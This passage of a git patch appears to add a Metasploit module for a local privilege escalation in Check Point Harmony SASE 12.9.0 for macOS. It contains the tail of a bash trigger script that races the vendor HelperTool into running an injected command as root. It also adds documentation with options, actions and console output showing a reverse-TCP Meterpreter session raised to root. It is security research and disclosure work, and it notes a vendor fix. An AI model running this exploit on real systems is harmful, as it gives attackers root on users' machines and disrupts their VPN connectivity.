+run_race_loop() { + local bin="$1" + local attempt migrations_before migrations_now copies_before copies_now healthy_before healthy_now + local validation_before validation_now elapsed branch + local run_migrations_before run_copies_before run_validation_before + run_migrations_before="$(log_count "$GUI_LOG" 'Install daemon with migration')" + run_copies_before="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')" + run_validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')" + + log "Starting race loop: up to ${MAX_ATTEMPTS} launches, ${ROUND_WAIT}s startup timeout each." + log "Healthy launches are stopped as soon as the log confirms the up-to-date branch." + + for ((attempt = 1; attempt <= MAX_ATTEMPTS; attempt++)); do + kill_relocated + migrations_before="$(log_count "$GUI_LOG" 'Install daemon with migration')" + healthy_before="$(log_count "$GUI_LOG" 'Daemon is up to date. Proceed.')" + validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')" + "$bin" >/dev/null 2>&1 & + disown 2>/dev/null || true + + branch="unknown" + elapsed=0 + while is_positive_number "$ROUND_WAIT" && /usr/bin/awk -v e="$elapsed" -v t="$ROUND_WAIT" 'BEGIN { exit !(e < t) }'; do + if proof_ok; then + kill_relocated + log "Injection landed on attempt ${attempt}." + return 0 + fi + migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')" + healthy_now="$(log_count "$GUI_LOG" 'Daemon is up to date. Proceed.')" + validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')" + if ((validation_now > validation_before)); then + kill_relocated + warn "HelperTool rejected the relocated client (code-signature/XPC validation)." + warn "Use a pristine vendor-signed app; inspect $DAEMON_LOG for the rejection." + debug_recent_logs + return 3 + fi + if ((migrations_now > migrations_before)); then + branch="migration" + break + fi + if ((healthy_now > healthy_before)); then + branch="healthy" + break + fi + /bin/sleep "$POLL_INTERVAL" + elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')" + done + + if [[ "$branch" == "migration" ]]; then + log "Attempt ${attempt}: migration branch observed; waiting up to ${POST_BRANCH_WAIT}s for helper/proof." + elapsed=0 + while /usr/bin/awk -v e="$elapsed" -v t="$POST_BRANCH_WAIT" 'BEGIN { exit !(e < t) }'; do + proof_ok && { kill_relocated; log "Injection landed on attempt ${attempt}."; return 0; } + validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')" + ((validation_now > validation_before)) && { + kill_relocated + warn "HelperTool rejected the relocated client (code-signature/XPC validation)." + debug_recent_logs + return 3 + } + /bin/sleep "$POLL_INTERVAL" + elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')" + done + fi + + kill_relocated + + if ((attempt % 10 == 0)); then + migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')" + log " attempt ${attempt}/${MAX_ATTEMPTS} - migration-branch hits so far: $((migrations_now - run_migrations_before))" + fi + done + + migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')" + copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')" + warn "No proof after ${MAX_ATTEMPTS} attempts." + warn " migration-branch hits during run: $((migrations_now - run_migrations_before))" + warn " copyDaemon invocations during run: $((copies_now - run_copies_before))" + validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')" + if ((validation_now > run_validation_before)); then + warn "HelperTool rejected one or more relocated clients; restore the pristine app signature." + fi + if ((migrations_now == run_migrations_before)); then + warn "Never hit the migration branch - the launchd read stayed healthy the whole run." + warn "Increase MAX_ATTEMPTS, or run on a machine where com.perimeter81d is already stale." + fi + debug_recent_logs + return 1 +} + +repair_daemon() { + [[ "$REPAIR_AFTER" == "1" ]] || return 0 + [[ "$REPAIR_DONE" == "1" ]] && return 0 + REPAIR_DONE=1 + log "Repairing: launching pristine app to reinstall com.perimeter81d from a clean path." + /usr/bin/open -g "$TARGET_APP" >/dev/null 2>&1 || true + local i + for ((i = 0; i < REPAIR_WAIT; i++)); do + if /bin/launchctl print "system/${DAEMON_LABEL}" >/dev/null 2>&1; then + break + fi + /bin/sleep 1 + done + request_pristine_exit +} + +cleanup_on_exit() { + kill_relocated + restore_relaunch_trigger + if [[ "$EXPLOIT_ACTIVE" == "1" && "$REPAIR_AFTER" == "1" && "$REPAIR_DONE" != "1" ]]; then + repair_daemon + fi +} + +main() { + [[ "$#" -eq 0 ]] || die "This trigger takes no positional arguments. Use environment variables for configuration." + + # Load the injected command from a file when asked (avoids all shell-quoting of the + # payload as it passes through the module's cmd_exec invocation). + if [[ -n "$INJECT_CMD_FILE" ]]; then + [[ -r "$INJECT_CMD_FILE" ]] || die "INJECT_CMD_FILE is not readable: $INJECT_CMD_FILE" + INJECT_CMD="$(/bin/cat "$INJECT_CMD_FILE")" + fi + [[ -n "$INJECT_CMD" ]] || die "INJECT_CMD is empty." + + local total_steps copied_app bin rc + total_steps=5 + [[ "$MODE" == "probe" ]] && total_steps=2 + + say "[*] Harmony SASE HelperTool command-injection LPE trigger" + say "[*] Workdir: $WORK_BASE" + say "[*] Proof: $PROOF_PATH" + debug "Mode: $MODE" + debug "Trigger mode: $TRIGGER_MODE" + debug "Inject cmd: $INJECT_CMD" + debug "GUI log: $GUI_LOG" + debug "Helper log: $DAEMON_LOG" + debug "Run id: $RUN_ID" + + say "[*](1/${total_steps}) Checking Harmony SASE target ..." + validate_environment + + say "[*](2/${total_steps}) Preparing relocated vendor-signed app copy ..." + copied_app="$(prepare_signed_copy)" + bin="${copied_app}/Contents/MacOS/Harmony SASE" + say " Relocated app: $copied_app" + + if [[ "$MODE" == "probe" ]]; then + ok "Probe complete. No privileged trigger executed." + say " To attempt the injection in a disposable lab: MODE=exploit $0" + exit 0 + fi + [[ "$MODE" == "exploit" ]] || die "Unknown MODE: $MODE" + + say "[*](3/5) Preparing proof path ..." + prepare_proof_path + say " Proof file: $PROOF_PATH" + + ensure_installed_app_not_running + trap cleanup_on_exit EXIT + trap 'exit 130' INT TERM + EXPLOIT_ACTIVE=1 + + rc=0 + say "[*](4/5) Triggering HelperTool installer path ..." + if [[ "$TRIGGER_MODE" == "relaunch_flag" ]]; then + run_relaunch_flag_trigger "$bin" || rc=$? + else + run_race_loop "$bin" || rc=$? + fi + + say "[*](5/5) Verifying injection landed ..." + if proof_ok; then + ok "CONFIRMED: HelperTool executed the injected command as root." + say " Proof/output file: $PROOF_PATH" + /bin/cat "$PROOF_PATH" 2>/dev/null || true + say "[*] Restoring app defaults and repairing daemon ..." + restore_relaunch_trigger + repair_daemon + exit 0 + fi + + say "[*] Restoring app defaults and repairing daemon ..." + restore_relaunch_trigger + repair_daemon + say "[x] Injected command did not land." + say " Helper log: $DAEMON_LOG" + say " GUI log: $GUI_LOG" + say "bye bye!" + exit "${rc:-2}" +} + +main "$@" +HARMONY_TRIGGER_EOF +end From 732217e6ed0e631899bd7f9bfbe7d8640ac90067 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Thu, 3 Sep 2026 14:36:41 +0400 Subject: [PATCH 2/2] Add documentation for Harmony SASE LPE exploit Documented the exploitation of a local privilege escalation vulnerability in Check Point Harmony SASE for macOS. Included verification steps, options, actions, scenarios, and references. --- .../osx/local/harmony_sase_helpertool_lpe.md | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 documentation/modules/exploit/osx/local/harmony_sase_helpertool_lpe.md diff --git a/documentation/modules/exploit/osx/local/harmony_sase_helpertool_lpe.md b/documentation/modules/exploit/osx/local/harmony_sase_helpertool_lpe.md new file mode 100644 index 0000000000000..fe8360ae1f103 --- /dev/null +++ b/documentation/modules/exploit/osx/local/harmony_sase_helpertool_lpe.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +Check Point Harmony SASE (formerly Perimeter 81) for macOS installs a privileged SMJobBless +HelperTool at `/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool`. When installing its +daemon, the helper builds a shell command and runs it as root through `/bin/bash -c`. The command +includes the connecting client's application bundle path, taken from +`NSBundle.mainBundle.bundlePath` and inserted inside single quotes with no escaping. A copy of the +app made with `ditto` keeps a valid vendor signature, so it still satisfies the helper's +`SMAuthorizedClients` requirement. Relocating that copy under a directory whose name contains a +single quote injects an arbitrary command that runs as root. + +Confirmed on Harmony SASE 12.9.0 (build 11237), TeamID 924635PD62; fixed in 12.9.1 (build 12074). +The HelperTool is a universal binary, so the same path affects Intel and Apple Silicon. + +The exploit drives the vendor app (`open`, `defaults`, launchd), so the meterpreter/shell session +used with this module must be inside the target user's GUI login session. Triggering the install +path force-quits the app and deletes/reinstalls the `com.perimeter81d` daemon, which drops any +active VPN connection until the module relaunches the pristine app to repair it. + +## Verification Steps + +1. Install Harmony SASE 12.9.0 (build 11237) on a disposable lab machine. +2. Obtain a Meterpreter (or shell) session as a normal, non-root user, inside that user's GUI login. +3. `use exploit/osx/local/harmony_sase_helpertool_lpe` +4. `set SESSION ` +5. `set TARGET 0` for Apple Silicon, or `set TARGET 1` for Intel. +6. `set LHOST
` +7. `run` +8. You should receive a root session (SESSION action), or the command output (EXEC action). + +## Options + +### TARGET_APP + +Path to the installed Harmony SASE app bundle. Default `/Applications/Harmony SASE.app`. + +### TRIGGER_MODE + +Which install path to drive: `relaunch_flag` (default, deterministic; sets the vendor's +`shouldRelaunchDaemon` silent-update flag) or `race` (the launchd migration branch, one chance per +launch, tuned with `MAX_ATTEMPTS`). + +### COMMAND + +Command to run as root, used by the EXEC action only. Default `whoami`. Keep it to a single line. + +### ForceExploit + +The module refuses to run against any build other than 12.9.0/11237 (`check` reports the mismatch). +Set `ForceExploit true` to attempt it against another build anyway. + +## Actions + +### SESSION + +(Default) Upload a Meterpreter Mach-O matching the target arch and run it as root through the +injection, returning a root session on your handler. + +### EXEC + +Run `COMMAND` as root and print its output. No session is opened. + +## Scenarios + +### Harmony SASE 12.9.0 (build 11237), Apple Silicon, root session + +Attacker: Kali (`10.211.55.6`). Victim: macOS on Apple Silicon, standard user `dexter`. + +``` +msf6 exploit(multi/handler) > run +[*] Started reverse TCP handler on 10.211.55.6:4444 +[*] Meterpreter session 1 opened (10.211.55.6:4444 -> 10.211.55.2:63080) at 2026-08-18 12:10:34 +0400 + +msf6 exploit(multi/handler) > sessions -i 1 +[*] Starting interaction with 1... +meterpreter > getuid +Server username: dexter +meterpreter > background +[*] Backgrounding session 1... + +msf6 exploit(multi/handler) > use exploit/osx/local/harmony_sase_helpertool_lpe +[*] Using configured payload osx/aarch64/meterpreter_reverse_tcp +[*] Using action SESSION - view all 2 actions with the show actions command +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set SESSION 1 +SESSION => 1 +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set TARGET 0 +TARGET => 0 +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set LHOST 10.211.55.6 +LHOST => 10.211.55.6 +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > run + +[*] Started reverse TCP handler on 10.211.55.6:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Harmony SASE 12.9.0/11237 with vulnerable HelperTool +[*] Generating Apple Silicon (ARM64) Mach-O payload (osx/aarch64/meterpreter_reverse_tcp) +[*] Writing '/tmp/.hsp_L2dRiRWMn0' (813075 bytes) ... +[*] SESSION action: the root payload will be launched via the injection +[*] Driving HelperTool install path (TRIGGER_MODE=relaunch_flag), up to 300s +[+] HelperTool executed the injected command as root; the root payload was launched (watch for a new session above). +[*] Meterpreter session 2 opened (10.211.55.6:4444 -> 10.211.55.2:63092) at 2026-08-18 12:12:01 +0400 + +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > sessions -i 2 +[*] Starting interaction with 2... +meterpreter > getuid +Server username: root +``` + +### Run a single command as root (EXEC action) + +``` +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set ACTION EXEC +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set COMMAND id +msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > run + +[*] EXEC action: running as root -> id +[*] Driving HelperTool install path (TRIGGER_MODE=relaunch_flag), up to 300s +[+] Command executed as root. Output: +uid=0(root) gid=0(wheel) groups=0(wheel),... +``` + +## References + +* Original research and PoC: Dhiraj Mishra (@RandomDhiraj) - +* macOS agent release notes (version details):